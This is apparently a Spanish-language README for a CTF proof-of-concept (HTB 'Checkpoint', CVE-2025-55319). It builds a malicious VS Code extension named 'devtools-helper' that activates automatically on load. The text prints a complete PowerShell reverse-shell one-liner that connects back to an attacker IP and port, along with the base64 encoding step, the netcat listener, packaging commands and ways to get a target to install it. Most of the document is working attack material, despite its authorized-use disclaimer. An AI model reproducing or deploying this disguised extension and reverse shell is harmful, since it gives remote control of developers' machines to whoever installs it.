
PoC para CVE-2025-55319
Referencia: CVE-2025-55319
Extensión de prueba de concepto para VS Code (.vsix) para el desafío HTB "Checkpoint".
Una vez instalada, la extensión se autoactiva y lanza un shell inverso de PowerShell
oculto de vuelta al atacante.
⚠️ Solo uso autorizado. Este es un artefacto de CTF/laboratorio. Solo despliéguelo contra máquinas que le pertenezcan o para las que tenga autorización explícita de prueba (p. ej., una máquina objetivo de HTB).
extension/package.json — manifiesto de la extensión. "activationEvents": ["*"] hace que se
ejecute en el momento en que VS Code carga, sin interacción del usuario.extension/extension.js — en activate(), ejecuta una carga útil de PowerShell codificada
en base64 con -WindowStyle Hidden -NoProfile para un shell inverso silencioso.[Content_Types].xml — manifiesto de tipo de contenido OpenXML para que la carpeta pueda
comprimirse en un paquete .vsix válido..
├── [Content_Types].xml # VSIX content-type manifest
└── extension/
├── package.json # extension manifest (activates on "*")
└── extension.js # reverse-shell payload
Genere un shell inverso de PowerShell en base64 (UTF-16LE) que apunte a su máquina de ataque:
LHOST=10.10.15.158
LPORT=4443
PS="\$c=New-Object System.Net.Sockets.TCPClient('$LHOST',$LPORT);\$s=\$c.GetStream();[byte[]]\$b=0..65535|%{0};while((\$i=\$s.Read(\$b,0,\$b.Length)) -ne 0){\$d=(New-Object System.Text.ASCIIEncoding).GetString(\$b,0,\$i);\$r=(iex \$d 2>&1|Out-String);\$sb=([text.encoding]::ASCII).GetBytes(\$r+'PS> ');\$s.Write(\$sb,0,\$sb.Length);\$s.Flush()}"
echo -n "$PS" | iconv -t UTF-16LE | base64 -w0
Pegue la salida reemplazando YOUR_BASE64_PAYLOAD_HERE en extension/extension.js:
const payload = '<base64-blob-here>'
nc -lvnp 4443
Un .vsix es solo un ZIP con la carpeta extension/ más el manifiesto en la raíz:
# from this directory
zip -r devtools-helper.vsix extension "[Content_Types].xml"
Consiga que el objetivo instale la extensión. Ya sea:
code --install-extension devtools-helper.vsix··· → Instalar desde VSIX…En el siguiente arranque de VS Code (o inmediatamente después de la instalación), el evento
de activación * se dispara, la carga útil se ejecuta y su listener recibe el shell.
$ nc -lvnp 4443
listening on [any] 4443 ...
connect to [10.10.15.158] from ...
PS>
Cuando haya terminado, elimine la extensión del objetivo:
code --uninstall-extension devtools.devtools-helper
extension.js para otras plataformas.os se importa en extension.js pero no se usa; útil si desea crear ramas según
os.platform() para dar soporte a objetivos Linux/macOS.version en package.json entre compilaciones si vuelve a empaquetar.